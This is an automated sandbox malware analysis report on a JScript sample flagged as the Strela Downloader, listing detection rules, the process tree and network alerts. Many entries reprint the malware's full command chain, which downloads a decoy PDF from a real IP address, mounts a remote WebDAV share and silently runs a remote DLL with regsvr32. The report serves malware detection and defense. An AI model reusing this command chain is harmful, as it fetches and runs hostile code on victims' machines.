Edit tour

Windows Analysis Report
1283220404157902514.js

Overview

General Information

Sample name:	1283220404157902514.js
Analysis ID:	1587848
MD5:	de178858f959ad31aad5e70b7470b9ba
SHA1:	c3f09f54c5285b93a635b1f89619c9906304d43b
SHA256:	7f87d3ba0b60f3c577edbc71eba0b7b0abe3a6caa4be45d17a3f557b9415ef6d
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 3160 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1283220404157902514.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 4592 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6532 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1408 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 3060 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 4760 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 1252 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1608,i,6607598967053429651,498636849261880243,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 3224 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 5252 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 4796 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 3160	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4592, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1408, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4592, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1408, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1283220404157902514.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1283220404157902514.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1283220404157902514.js", ProcessId: 3160, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 5252, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1283220404157902514.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3160, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll, ProcessId: 4592, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1283220404157902514.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3160, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll, ProcessId: 4592, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1283220404157902514.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3160, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll, ProcessId: 4592, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1283220404157902514.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3160, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll, ProcessId: 4592, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1283220404157902514.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3160, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll, ProcessId: 4592, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1283220404157902514.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1283220404157902514.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1283220404157902514.js", ProcessId: 3160, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4592, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1408, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3224, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5252, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 4796, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3224, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5252, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1283220404157902514.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3160, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll, ProcessId: 4592, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T18:31:39.351344+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T18:31:37.185949+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 1283220404157902514.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 1283220404157902514.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49705 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 17:31:37 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.5:49705 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.5:52807 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

